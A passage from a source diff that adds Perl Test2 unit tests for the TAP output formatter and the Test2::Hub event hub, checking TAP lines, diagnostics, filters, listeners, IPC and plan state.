+ [[OUT_STD, "not ok 1 # TODO & SKIP yyy\n"]],
+ "Pass with skip and TODO",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 # foo xxx\n"]],
+ "Pass with other amnesty",
+ );
+ };
+
+ tests fail_with_name => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 - bob # skip xxx\n"]],
+ "Pass with skip (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)],
+ [[OUT_STD, "not ok 1 - bob # skip\n"]],
+ "Pass with skip (without details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 - bob # TODO xxx\n"]],
+ "Pass with TODO (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)],
+ [[OUT_STD, "not ok 1 - bob # TODO\n"]],
+ "Pass with TODO (without details)",
+ );
+
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 0, details => 'bob'},
+ amnesty => [
+ {tag => 'TODO', details => 'xxx'},
+ {tag => 'skip', details => 'yyy'},
+ ]
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "not ok 1 - bob # TODO & SKIP yyy\n"]],
+ "Pass with skip and TODO",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 - bob # foo xxx\n"]],
+ "Pass with other amnesty",
+ );
+ };
+ };
+
+ tests newline_and_hash => sub {
+ tests pass => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}}, 1)],
+ [
+ [OUT_STD, "ok 1 - foo\n"],
+ [OUT_STD, "# bar\n"],
+ ],
+ "Pass with newline",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [
+ [OUT_STD, "ok 1 - foo # baz bat\n"],
+ [OUT_STD, "# bar\n"],
+ ],
+ "Pass with newline and amnesty",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}}, 1)],
+ [[OUT_STD, "ok 1 - foo\\#bar\n"]],
+ "Pass with hash",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [[OUT_STD, "ok 1 - foo\\#bar # baz bat\n"]],
+ "Pass with hash and amnesty",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}}, 1)],
+ [
+ [OUT_STD, "ok 1 - foo\\#x\n"],
+ [OUT_STD, "# bar#boo\n"],
+ ],
+ "Pass with newline and hash",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [
+ [OUT_STD, "ok 1 - foo\\#x # baz bat\n"],
+ [OUT_STD, "# bar#boo\n"],
+ ],
+ "Pass with newline and hash and amnesty",
+ );
+ };
+
+ tests fail => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}}, 1)],
+ [
+ [OUT_STD, "not ok 1 - foo\n"],
+ [OUT_STD, "# bar\n"],
+ ],
+ "Pass with newline",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [
+ [OUT_STD, "not ok 1 - foo # baz bat\n"],
+ [OUT_STD, "# bar\n"],
+ ],
+ "Pass with newline and amnesty",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}}, 1)],
+ [[OUT_STD, "not ok 1 - foo\\#bar\n"]],
+ "Pass with hash",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [[OUT_STD, "not ok 1 - foo\\#bar # baz bat\n"]],
+ "Pass with hash and amnesty",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}}, 1)],
+ [
+ [OUT_STD, "not ok 1 - foo\\#x\n"],
+ [OUT_STD, "# bar#boo\n"],
+ ],
+ "Pass with newline and hash",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+ [
+ [OUT_STD, "not ok 1 - foo\\#x # baz bat\n"],
+ [OUT_STD, "# bar#boo\n"],
+ ],
+ "Pass with newline and hash and amnesty",
+ );
+ };
+ };
+
+ tests parent => sub {
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 1, details => 'bob'},
+ parent => {hid => 1, buffered => 1, children => [{assert => {pass => 1, details => 'bob2'}}]},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_STD, "ok 1 - bob {\n"],
+ [OUT_STD, " ok 1 - bob2\n"],
+ [OUT_STD, "}\n"],
+ ],
+ "Parent (buffered)",
+ );
+
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 1, details => 'bob'},
+ parent => {hid => 1, buffered => 0, children => [{assert => {pass => 1, details => 'bob2'}}]},
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "ok 1 - bob\n"]],
+ "Parent (un-buffered)",
+ );
+ };
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests debug_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {pass => 0},
+ trace => {frame => ['foo', 'foo.t', 42]},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# Failed test at foo.t line 42.\n"],
+ ],
+ "debug tap, nameless test"
+ );
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {details => 'foo bar', pass => 0},
+ trace => {frame => ['foo', 'foo.t', 42]},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"],
+ ],
+ "Debug tap, named test"
+ );
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {details => 'foo bar', pass => 0},
+ trace => {frame => ['foo', 'foo.t', 42], details => 'I say hi!'},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# Failed test 'foo bar'\n# I say hi!\n"],
+ ],
+ "Debug tap with details"
+ );
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {details => 'foo bar', pass => 0},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# Failed test 'foo bar'\n# [No trace info available]\n"],
+ ],
+ "Debug tap no trace"
+ );
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {details => 'foo bar', pass => 0},
+ trace => {frame => ['foo', 'foo.t', 42]},
+ amnesty => [],
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"],
+ ],
+ "Debug empty amnesty"
+ );
+
+ is_deeply(
+ [
+ $it->debug_tap(
+ {
+ assert => {details => 'foo bar', pass => 0},
+ trace => {frame => ['foo', 'foo.t', 42]},
+ amnesty => [{tag => 'TODO', details => 'xxx'}],
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_STD, "# Failed test (with amnesty) 'foo bar'\n# at foo.t line 42.\n"],
+ ],
+ "Debug empty amnesty"
+ );
+
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+
+ my $event = Test2::Event::Fail->new(trace => {frame => ['foo', 'foo.pl', 42]});
+
+ {
+ local $ENV{HARNESS_ACTIVE} = 0;
+ local $ENV{HARNESS_IS_VERBOSE} = 0;
+
+ $event->{name} = 'no harness';
+ $it->write($event, 1);
+
+ $ENV{HARNESS_ACTIVE} = 0;
+ $ENV{HARNESS_IS_VERBOSE} = 1;
+
+ $event->{name} = 'no harness, but strangely verbose';
+ $it->write($event, 1);
+
+ $ENV{HARNESS_ACTIVE} = 1;
+ $ENV{HARNESS_IS_VERBOSE} = 0;
+
+ $event->{name} = 'harness, but not verbose';
+ $it->write($event, 1);
+
+ $ENV{HARNESS_ACTIVE} = 1;
+ $ENV{HARNESS_IS_VERBOSE} = 1;
+
+ $event->{name} = 'harness that is verbose';
+ $it->write($event, 1);
+ }
+
+ is($$out, <<" EOT", "Got 4 failures to STDERR");
+not ok 1 - no harness
+not ok 1 - no harness, but strangely verbose
+not ok 1 - harness, but not verbose
+not ok 1 - harness that is verbose
+ EOT
+
+ is($$err, <<" EOT", "Got expected diag to STDERR, newline for non-verbose harness");
+# Failed test 'no harness'
+# at foo.pl line 42.
+# Failed test 'no harness, but strangely verbose'
+# at foo.pl line 42.
+
+# Failed test 'harness, but not verbose'
+# at foo.pl line 42.
+# Failed test 'harness that is verbose'
+# at foo.pl line 42.
+ EOT
+};
+
+tests halt_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [$it->halt_tap({trace => {nested => 1},})],
+ [],
+ "No output when nested"
+ );
+
+ is_deeply(
+ [$it->halt_tap({trace => {nested => 1, buffered => 1}})],
+ [[OUT_STD, "Bail out!\n" ]],
+ "Got tap for nested buffered bail"
+ );
+
+ is_deeply(
+ [$it->halt_tap({control => {details => ''}})],
+ [[OUT_STD, "Bail out!\n"]],
+ "Empty details"
+ );
+
+ is_deeply(
+ [$it->halt_tap({control => {details => undef}})],
+ [[OUT_STD, "Bail out!\n"]],
+ "undef details"
+ );
+
+ is_deeply(
+ [$it->halt_tap({control => {details => 0}})],
+ [[OUT_STD, "Bail out! 0\n"]],
+ "falsy details"
+ );
+
+ is_deeply(
+ [$it->halt_tap({control => {details => 'foo bar baz'}})],
+ [[OUT_STD, "Bail out! foo bar baz\n"]],
+ "full details"
+ );
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests summary_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [$it->summary_tap({about => { no_display => 1, details => "Should not see me"}})],
+ [],
+ "no display"
+ );
+
+ is_deeply(
+ [$it->summary_tap({about => { no_display => 0, details => ""}})],
+ [],
+ "no summary"
+ );
+
+ is_deeply(
+ [$it->summary_tap({about => { no_display => 0, details => "foo bar"}})],
+ [[OUT_STD, "# foo bar\n"]],
+ "summary"
+ );
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests info_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [
+ $it->info_tap(
+ {
+ info => [
+ {debug => 0, details => "foo"},
+ {debug => 1, details => "foo"},
+ {debug => 0, details => "foo\nbar\nbaz"},
+ {debug => 1, details => "foo\nbar\nbaz"},
+ ]
+ }
+ )
+ ],
+ [
+ [OUT_STD, "# foo\n"],
+ [OUT_ERR, "# foo\n"],
+ [OUT_STD, "# foo\n# bar\n# baz\n"],
+ [OUT_ERR, "# foo\n# bar\n# baz\n"],
+ ],
+ "Got all infos"
+ );
+
+ my @TAP = $it->info_tap(
+ {
+ info => [
+ {debug => 0, details => {structure => 'yes'}},
+ {debug => 1, details => {structure => 'yes'}},
+ ]
+ }
+ );
+
+ is($TAP[0]->[0], OUT_STD, "First went to STDOUT");
+ is($TAP[1]->[0], OUT_ERR, "Second went to STDOUT");
+
+ like($TAP[0]->[1], qr/structure.*=>.*yes/, "We see the structure in some form");
+ like($TAP[1]->[1], qr/structure.*=>.*yes/, "We see the structure in some form");
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests error_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ # Data::Dumper behavior can change from version to version, specifically
+ # the Data::Dumper in 5.8.9 produces different whitespace from other
+ # versions.
+ require Data::Dumper;
+ my $dumper = Data::Dumper->new([{structure => 'yes'}])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+ chomp(my $struct = $dumper->Dump);
+
+ is_deeply(
+ [
+ $it->error_tap(
+ {
+ errors => [
+ {details => "foo"},
+ {details => "foo\nbar\nbaz"},
+ {details => {structure => 'yes'}},
+ ]
+ }
+ )
+ ],
+ [
+ [OUT_ERR, "# foo\n"],
+ [OUT_ERR, "# foo\n# bar\n# baz\n"],
+ [OUT_ERR, "$struct\n"],
+ ],
+ "Got all errors"
+ );
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+
+tests event_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 1)],
+ [
+ [OUT_STD, "1..5\n"],
+ [OUT_STD, "ok 1\n"],
+ ],
+ "Plan then assertion for first assertion"
+ );
+
+ $it->{made_assertion} = 1;
+
+ is_deeply(
+ [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 2)],
+ [
+ [OUT_STD, "ok 2\n"],
+ [OUT_STD, "1..5\n"],
+ ],
+ "Assertion then plan for additional assertions"
+ );
+
+ $it->{made_assertion} = 0;
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ plan => {count => 5},
+ assert => {pass => 0},
+ errors => [{details => "foo"}],
+ info => [
+ {tag => 'DIAG', debug => 1, details => 'xxx'},
+ {tag => 'NOTE', debug => 0, details => 'yyy'},
+ ],
+ control => {halt => 1, details => 'blah'},
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_STD, "1..5\n"],
+ [OUT_STD, "not ok 1\n"],
+ [OUT_ERR, "# Failed test [No trace info available]\n"],
+ [OUT_ERR, "# foo\n"],
+ [OUT_ERR, "# xxx\n"],
+ [OUT_STD, "# yyy\n"],
+ [OUT_STD, "Bail out! blah\n"],
+ ],
+ "All facets displayed"
+ );
+
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ plan => {count => 5},
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "1..5\n"]],
+ "Plan blocks details"
+ );
+
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ assert => {pass => 0, no_debug => 1},
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "not ok 1\n"]],
+ "Assert blocks details"
+ );
+
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ errors => [{details => "foo"}],
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [[OUT_ERR, "# foo\n"]],
+ "Error blocks details"
+ );
+
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ info => [
+ {tag => 'DIAG', debug => 1, details => 'xxx'},
+ {tag => 'NOTE', debug => 0, details => 'yyy'},
+ ],
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [
+ [OUT_ERR, "# xxx\n"],
+ [OUT_STD, "# yyy\n"],
+ ],
+ "Info blocks details"
+ );
+
+ is_deeply(
+ [
+ $it->event_tap(
+ {
+ control => {halt => 1, details => 'blah'},
+ about => {details => 'xyz'},
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "Bail out! blah\n"]],
+ "Halt blocks details"
+ );
+
+ is_deeply(
+ [$it->event_tap({about => {details => 'xyz'}}, 1)],
+ [[OUT_STD, "# xyz\n"]],
+ "Fallback to summary"
+ );
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests write => sub {
+ my ($it, $out, $err) = grabber();
+
+ local $ENV{HARNESS_ACTIVE} = 0;
+ local $ENV{HARNESS_IS_VERBOSE} = 0;
+
+ {
+ local $\ = 'oops1';
+ local $, = 'oops2';
+ $it->write(
+ undef, 1,
+ {
+ plan => {count => 5},
+ assert => {pass => 0},
+ errors => [{details => "foo"}],
+ info => [
+ {tag => 'DIAG', debug => 1, details => 'xxx'},
+ {tag => 'NOTE', debug => 0, details => 'yyy'},
+ ],
+ control => {halt => 1, details => 'blah'},
+ about => {details => 'xyz'},
+ },
+ );
+
+ $it->write(undef, 2, {assert => {pass => 1}, trace => {nested => 1}});
+ }
+
+ is($it->{_last_fh}, $it->handles->[OUT_STD], "Set last handle");
+
+ is($$out, <<" EOT", "STDOUT is as expected");
+1..5
+not ok 1
+# yyy
+Bail out! blah
+ ok 2
+ EOT
+
+ is($$err, <<" EOT", "STDERR is as expected");
+# Failed test [No trace info available]
+# foo
+# xxx
+ EOT
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub.t
new file mode 100644
index 00000000000..50e1497ed25
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub.t
@@ -0,0 +1,481 @@
+use strict;
+use warnings;
+
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API qw/context test2_ipc_drivers/;
+use Test2::Util qw/CAN_FORK CAN_THREAD CAN_REALLY_FORK/;
+
+{
+ package My::Formatter;
+
+ sub new { bless [], shift };
+
+ my $check = 1;
+ sub write {
+ my $self = shift;
+ my ($e, $count) = @_;
+ push @$self => $e;
+ }
+}
+
+{
+ package My::Event;
+
+ use base 'Test2::Event';
+ use Test2::Util::HashBase qw{msg};
+}
+
+tests basic => sub {
+ my $hub = Test2::Hub->new(
+ formatter => My::Formatter->new,
+ );
+
+ my $send_event = sub {
+ my ($msg) = @_;
+ my $e = My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1]));
+ $hub->send($e);
+ };
+
+ ok(my $e1 = $send_event->('foo'), "Created event");
+ ok(my $e2 = $send_event->('bar'), "Created event");
+ ok(my $e3 = $send_event->('baz'), "Created event");
+
+ my $old = $hub->format(My::Formatter->new);
+
+ ok($old->isa('My::Formatter'), "old formatter");
+ is_deeply(
+ $old,
+ [$e1, $e2, $e3],
+ "Formatter got all events"
+ );
+};
+
+tests follow_ups => sub {
+ my $hub = Test2::Hub->new;
+ $hub->set_count(1);
+
+ my $trace = Test2::EventFacet::Trace->new(
+ frame => [__PACKAGE__, __FILE__, __LINE__],
+ );
+
+ my $ran = 0;
+ $hub->follow_up(sub {
+ my ($d, $h) = @_;
+ is_deeply($d, $trace, "Got trace");
+ is_deeply($h, $hub, "Got hub");
+ ok(!$hub->ended, "Hub state has not ended yet");
+ $ran++;
+ });
+
+ like(
+ exception { $hub->follow_up('xxx') },
+ qr/follow_up only takes coderefs for arguments, got 'xxx'/,
+ "follow_up takes a coderef"
+ );
+
+ $hub->finalize($trace);
+
+ is($ran, 1, "ran once");
+
+ is_deeply(
+ $hub->ended,
+ $trace->frame,
+ "Ended at the expected place."
+ );
+
+ eval { $hub->finalize($trace) };
+
+ is($ran, 1, "ran once");
+
+ $hub = undef;
+};
+
+tests IPC => sub {
+ my ($driver) = test2_ipc_drivers();
+ is($driver, 'Test2::IPC::Driver::Files', "Default Driver");
+ my $ipc = $driver->new;
+ my $hub = Test2::Hub->new(
+ formatter => My::Formatter->new,
+ ipc => $ipc,
+ );
+
+ my $build_event = sub {
+ my ($msg) = @_;
+ return My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1]));
+ };
+
+ my $e1 = $build_event->('foo');
+ my $e2 = $build_event->('bar');
+ my $e3 = $build_event->('baz');
+
+ my $do_send = sub {
+ $hub->send($e1);
+ $hub->send($e2);
+ $hub->send($e3);
+ };
+
+ my $do_check = sub {
+ my $name = shift;
+
+ my $old = $hub->format(My::Formatter->new);
+
+ ok($old->isa('My::Formatter'), "old formatter");
+ is(@$old, 3, "Formatter got all events ($name)");
+ ok($_->{hubs}, "Set the hubs") for @$old;
+ };
+
+ if (CAN_REALLY_FORK) {
+ my $pid = fork();
+ die "Could not fork!" unless defined $pid;
+
+ if ($pid) {
+ is(waitpid($pid, 0), $pid, "waited properly");
+ ok(!$?, "child exited with success");
+ $hub->cull();
+ $do_check->('Fork');
+ }
+ else {
+ $do_send->();
+ exit 0;
+ }
+ }
+
+ if (CAN_THREAD && $] ge '5.010') {
+ require threads;
+ my $thr = threads->new(sub { $do_send->() });
+ $thr->join;
+ $hub->cull();
+ $do_check->('Threads');
+ }
+
+ $do_send->();
+ $hub->cull();
+ $do_check->('no IPC');
+};
+
+tests listen => sub {
+ my $hub = Test2::Hub->new();
+
+ my @events;
+ my @counts;
+ my $it = $hub->listen(sub {
+ my ($h, $e, $count) = @_;
+ is_deeply($h, $hub, "got hub");
+ push @events => $e;
+ push @counts => $count;
+ });
+
+ my $second;
+ my $it2 = $hub->listen(sub { $second++ });
+
+ my $ok1 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'foo',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok2 = Test2::Event::Ok->new(
+ pass => 0,
+ name => 'bar',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok3 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'baz',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ $hub->send($ok1);
+ $hub->send($ok2);
+
+ $hub->unlisten($it);
+
+ $hub->send($ok3);
+
+ is_deeply(\@counts, [1, 2], "Got counts");
+ is_deeply(\@events, [$ok1, $ok2], "got events");
+ is($second, 3, "got all events in listener that was not removed");
+
+ like(
+ exception { $hub->listen('xxx') },
+ qr/listen only takes coderefs for arguments, got 'xxx'/,
+ "listen takes a coderef"
+ );
+};
+
+tests metadata => sub {
+ my $hub = Test2::Hub->new();
+
+ my $default = { foo => 1 };
+ my $meta = $hub->meta('Foo', $default);
+ is_deeply($meta, $default, "Set Meta");
+
+ $meta = $hub->meta('Foo', {});
+ is_deeply($meta, $default, "Same Meta");
+
+ $hub->delete_meta('Foo');
+ is($hub->meta('Foo'), undef, "No Meta");
+
+ $hub->meta('Foo', {})->{xxx} = 1;
+ is($hub->meta('Foo')->{xxx}, 1, "Vivified meta and set it");
+
+ like(
+ exception { $hub->meta(undef) },
+ qr/Invalid META key: undef, keys must be true, and may not be references/,
+ "Cannot use undef as a meta key"
+ );
+
+ like(
+ exception { $hub->meta(0) },
+ qr/Invalid META key: '0', keys must be true, and may not be references/,
+ "Cannot use 0 as a meta key"
+ );
+
+ like(
+ exception { $hub->delete_meta(undef) },
+ qr/Invalid META key: undef, keys must be true, and may not be references/,
+ "Cannot use undef as a meta key"
+ );
+
+ like(
+ exception { $hub->delete_meta(0) },
+ qr/Invalid META key: '0', keys must be true, and may not be references/,
+ "Cannot use 0 as a meta key"
+ );
+};
+
+tests filter => sub {
+ my $hub = Test2::Hub->new();
+
+ my @events;
+ my $it = $hub->filter(sub {
+ my ($h, $e) = @_;
+ is($h, $hub, "got hub");
+ push @events => $e;
+ return $e;
+ });
+
+ my $count;
+ my $it2 = $hub->filter(sub { $count++; $_[1] });
+
+ my $ok1 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'foo',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok2 = Test2::Event::Ok->new(
+ pass => 0,
+ name => 'bar',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok3 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'baz',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ $hub->send($ok1);
+ $hub->send($ok2);
+
+ $hub->unfilter($it);
+
+ $hub->send($ok3);
+
+ is_deeply(\@events, [$ok1, $ok2], "got events");
+ is($count, 3, "got all events, even after other filter was removed");
+
+ $hub = Test2::Hub->new();
+ @events = ();
+
+ $hub->filter(sub { undef });
+ $hub->listen(sub {
+ my ($hub, $e) = @_;
+ push @events => $e;
+ });
+
+ $hub->send($ok1);
+ $hub->send($ok2);
+ $hub->send($ok3);
+
+ ok(!@events, "Blocked events");
+
+ like(
+ exception { $hub->filter('xxx') },
+ qr/filter only takes coderefs for arguments, got 'xxx'/,
+ "filter takes a coderef"
+ );
+};
+
+tests pre_filter => sub {
+ my $hub = Test2::Hub->new();
+
+ my @events;
+ my $it = $hub->pre_filter(sub {
+ my ($h, $e) = @_;
+ is($h, $hub, "got hub");
+ push @events => $e;
+ return $e;
+ });
+
+ my $count;
+ my $it2 = $hub->pre_filter(sub { $count++; $_[1] });
+
+ my $ok1 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'foo',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok2 = Test2::Event::Ok->new(
+ pass => 0,
+ name => 'bar',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ my $ok3 = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'baz',
+ trace => Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__ ],
+ ),
+ );
+
+ $hub->send($ok1);
+ $hub->send($ok2);
+
+ $hub->pre_unfilter($it);
+
+ $hub->send($ok3);
+
+ is_deeply(\@events, [$ok1, $ok2], "got events");
+ is($count, 3, "got all events, even after other pre_filter was removed");
+
+ $hub = Test2::Hub->new();
+ @events = ();
+
+ $hub->pre_filter(sub { undef });
+ $hub->listen(sub {
+ my ($hub, $e) = @_;
+ push @events => $e;
+ });
+
+ $hub->send($ok1);
+ $hub->send($ok2);
+ $hub->send($ok3);
+
+ ok(!@events, "Blocked events");
+
+ like(
+ exception { $hub->pre_filter('xxx') },
+ qr/pre_filter only takes coderefs for arguments, got 'xxx'/,
+ "pre_filter takes a coderef"
+ );
+};
+
+tests state => sub {
+ my $hub = Test2::Hub->new;
+
+ is($hub->count, 0, "count starts at 0");
+ is($hub->failed, 0, "failed starts at 0");
+ is($hub->is_passing, 1, "start off passing");
+ is($hub->plan, undef, "no plan yet");
+
+ $hub->is_passing(0);
+ is($hub->is_passing, 0, "Can Fail");
+
+ $hub->is_passing(1);
+ is($hub->is_passing, 1, "Passes again");
+
+ $hub->set_count(1);
+ is($hub->count, 1, "Added a passing result");
+ is($hub->failed, 0, "still no fails");
+ is($hub->is_passing, 1, "Still passing");
+
+ $hub->set_count(2);
+ $hub->set_failed(1);
+ is($hub->count, 2, "Added a result");
+ is($hub->failed, 1, "new failure");
+ is($hub->is_passing, 0, "Not passing");
+
+ $hub->is_passing(1);
+ is($hub->is_passing, 0, "is_passing always false after a failure");
+
+ $hub->set_failed(0);
+ $hub->is_passing(1);
+ is($hub->is_passing, 1, "Passes again");
+
+ $hub->set_failed(1);
+ is($hub->count, 2, "No new result");
+ is($hub->failed, 1, "new failure");
+ is($hub->is_passing, 0, "Not passing");
+
+ ok(!eval { $hub->plan('foo'); 1 }, "Could not set plan to 'foo'");
+ like($@, qr/'foo' is not a valid plan! Plan must be an integer greater than 0, 'NO PLAN', or 'SKIP'/, "Got expected error");
+
+ ok($hub->plan(5), "Can set plan to integer");
+ is($hub->plan, 5, "Set the plan to an integer");
+
+ $hub->set__plan(undef);
+ ok($hub->plan('NO PLAN'), "Can set plan to 'NO PLAN'");
+ is($hub->plan, 'NO PLAN', "Set the plan to 'NO PLAN'");
+
+ $hub->set__plan(undef);
+ ok($hub->plan('SKIP'), "Can set plan to 'SKIP'");
+ is($hub->plan, 'SKIP', "Set the plan to 'SKIP'");
+
+ ok(!eval { $hub->plan(5); 1 }, "Cannot change plan");
+ like($@, qr/You cannot change the plan/, "Got error");
+
+ my $trace = Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'foo.t', 42, 'blah']);
+ $hub->finalize($trace);
+ my $ok = eval { $hub->finalize($trace) };
+ my $err = $@;
+ ok(!$ok, "died");
+
+ is($err, <<" EOT", "Got expected error");
+Test already ended!
+First End: foo.t line 42
+Second End: foo.t line 42
+ EOT
+
+ $hub = Test2::Hub->new;
+
+ $hub->plan(5);
+ $hub->set_count(5);
+ $hub->set_failed(1);
+ $hub->set_ended($trace);
+ $hub->set_bailed_out("foo");
+ $hub->set_skip_reason('xxx');
+ ok(!$hub->is_passing, "not passing");
+
+ $hub->reset_state;
+
+ ok(!$hub->plan, "no plan");
+ is($hub->count, 0, "count reset to 0");
+ is($hub->failed, 0, "reset failures");
+ ok(!$hub->ended, "not ended");
+ ok(!$hub->bailed_out, "did not bail out");
+ ok(!$hub->skip_reason, "no skip reason");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t
new file mode 100644
index 00000000000..71cd56a6ce7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t
